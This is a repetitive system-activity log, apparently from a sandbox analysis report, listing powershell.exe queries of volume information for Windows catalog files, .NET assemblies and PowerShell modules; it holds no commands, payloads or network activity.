Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
